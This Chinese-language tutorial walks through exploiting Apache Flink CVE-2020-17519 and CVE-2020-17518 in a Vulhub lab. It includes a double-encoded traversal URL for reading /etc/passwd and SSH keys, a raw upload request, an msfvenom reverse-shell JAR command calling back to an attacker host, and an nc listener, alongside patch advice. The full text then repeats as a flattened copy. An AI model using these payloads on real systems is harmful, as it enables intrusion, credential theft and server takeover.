Apache Flink任意文件读取(CVE-2020-17519)&& 任意文件上传(CVE-2020-17518)
字数 1268 2025-08-15 21:33:16

Apache Flink 漏洞分析与利用教学文档 (CVE-2020-17518 & CVE-2020-17519)

1. 漏洞概述

Apache Flink 是一个开源的流处理框架,在特定版本中存在两个严重漏洞:

  1. CVE-2020-17519 - 任意文件读取漏洞
  2. CVE-2020-17518 - 任意文件上传漏洞

这两个漏洞可被组合利用,导致服务器被完全控制。

2. 漏洞影响版本

  • Apache Flink 1.5.1 至 1.11.2 版本

3. 漏洞环境搭建

使用 Vulhub 提供的 Docker 环境进行复现:

git clone https://github.com/vulhub/vulhub.git
cd vulhub/flink/
docker-compose up -d

4. CVE-2020-17519 任意文件读取漏洞

4.1 漏洞原理

Flink 的 JobManager 日志接口存在目录遍历漏洞,攻击者可以通过构造特殊的 URL 路径遍历读取服务器上的任意文件。

4.2 漏洞利用步骤

  1. 访问 Flink Web 界面:http://target-ip:8081

  2. 构造特殊 URL 读取 /etc/passwd 文件:

    http://x.x.x.x:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
    
    • 注意:%252f/ 的双重 URL 编码
  3. 读取其他敏感文件:

    • 尝试读取 /etc/shadow(通常因权限问题失败)
    • 读取用户目录下的 SSH 私钥:
      /home/[username]/.ssh/id_rsa
      

4.3 防御措施

  • 升级到 Apache Flink 1.11.3 或更高版本
  • 限制对 JobManager 日志接口的访问

5. CVE-2020-17518 任意文件上传漏洞

5.1 漏洞原理

Flink 的 "Submit New Job" 功能未对上传的文件进行充分验证,导致攻击者可上传任意文件到服务器。

5.2 漏洞利用步骤

5.2.1 基本文件上传测试

  1. 构造上传请求:
    POST /jars/upload HTTP/1.1
    Host: target-ip:8081
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0
    Connection: close
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
    Content-Length: 187
    
    ------WebKitFormBoundaryoZ8meKnrrso89R6Y
    Content-Disposition: form-data; name="jarfile"; filename=tmp/success" success
    ------WebKitFormBoundaryoZ8meKnrrso89R6Y--
    
  2. 验证文件是否成功上传

5.2.2 上传恶意 JAR 文件实现 RCE

  1. 使用 msfvenom 生成反弹 shell 的 JAR 文件:

    msfvenom -p java/shell_reverse_tcp lhost=attacker-ip lport=5555 -f jar > shell.jar
    
    • lhost: 攻击者监听 IP
    • lport: 攻击者监听端口
  2. 在攻击机器上启动 netcat 监听:

    nc -lvvp 5555
    
  3. 通过 Web 界面上传生成的 shell.jar 文件

  4. 提交作业触发反弹 shell

  5. 成功获取反向连接后执行命令

5.3 防御措施

  • 升级到 Apache Flink 1.11.3 或更高版本
  • 实施严格的文件上传验证
  • 限制可以上传的文件类型

6. 组合利用场景

  1. 先利用任意文件读取漏洞获取服务器信息
  2. 根据读取的信息定制攻击策略
  3. 利用文件上传漏洞上传恶意 JAR
  4. 通过反弹 shell 获取服务器控制权
  5. 提权并建立持久化访问

7. 免责声明

本教学文档仅用于网络安全研究和教育目的。未经授权对他人系统进行测试或攻击是违法行为。在实际环境中测试漏洞前,请确保已获得系统所有者的明确授权。

8. 参考资源

  • Vulhub 漏洞环境:https://github.com/vulhub/vulhub/tree/master/flink/
  • Apache Flink 安全公告
  • CVE 官方描述:CVE-2020-17518, CVE-2020-17519
Apache Flink 漏洞分析与利用教学文档 (CVE-2020-17518 & CVE-2020-17519) 1. 漏洞概述 Apache Flink 是一个开源的流处理框架,在特定版本中存在两个严重漏洞: CVE-2020-17519 - 任意文件读取漏洞 CVE-2020-17518 - 任意文件上传漏洞 这两个漏洞可被组合利用,导致服务器被完全控制。 2. 漏洞影响版本 Apache Flink 1.5.1 至 1.11.2 版本 3. 漏洞环境搭建 使用 Vulhub 提供的 Docker 环境进行复现: 4. CVE-2020-17519 任意文件读取漏洞 4.1 漏洞原理 Flink 的 JobManager 日志接口存在目录遍历漏洞,攻击者可以通过构造特殊的 URL 路径遍历读取服务器上的任意文件。 4.2 漏洞利用步骤 访问 Flink Web 界面: http://target-ip:8081 构造特殊 URL 读取 /etc/passwd 文件: 注意: %252f 是 / 的双重 URL 编码 读取其他敏感文件: 尝试读取 /etc/shadow (通常因权限问题失败) 读取用户目录下的 SSH 私钥: 4.3 防御措施 升级到 Apache Flink 1.11.3 或更高版本 限制对 JobManager 日志接口的访问 5. CVE-2020-17518 任意文件上传漏洞 5.1 漏洞原理 Flink 的 "Submit New Job" 功能未对上传的文件进行充分验证,导致攻击者可上传任意文件到服务器。 5.2 漏洞利用步骤 5.2.1 基本文件上传测试 构造上传请求: 验证文件是否成功上传 5.2.2 上传恶意 JAR 文件实现 RCE 使用 msfvenom 生成反弹 shell 的 JAR 文件: lhost : 攻击者监听 IP lport : 攻击者监听端口 在攻击机器上启动 netcat 监听: 通过 Web 界面上传生成的 shell.jar 文件 提交作业触发反弹 shell 成功获取反向连接后执行命令 5.3 防御措施 升级到 Apache Flink 1.11.3 或更高版本 实施严格的文件上传验证 限制可以上传的文件类型 6. 组合利用场景 先利用任意文件读取漏洞获取服务器信息 根据读取的信息定制攻击策略 利用文件上传漏洞上传恶意 JAR 通过反弹 shell 获取服务器控制权 提权并建立持久化访问 7. 免责声明 本教学文档仅用于网络安全研究和教育目的。未经授权对他人系统进行测试或攻击是违法行为。在实际环境中测试漏洞前,请确保已获得系统所有者的明确授权。 8. 参考资源 Vulhub 漏洞环境:https://github.com/vulhub/vulhub/tree/master/flink/ Apache Flink 安全公告 CVE 官方描述:CVE-2020-17518, CVE-2020-17519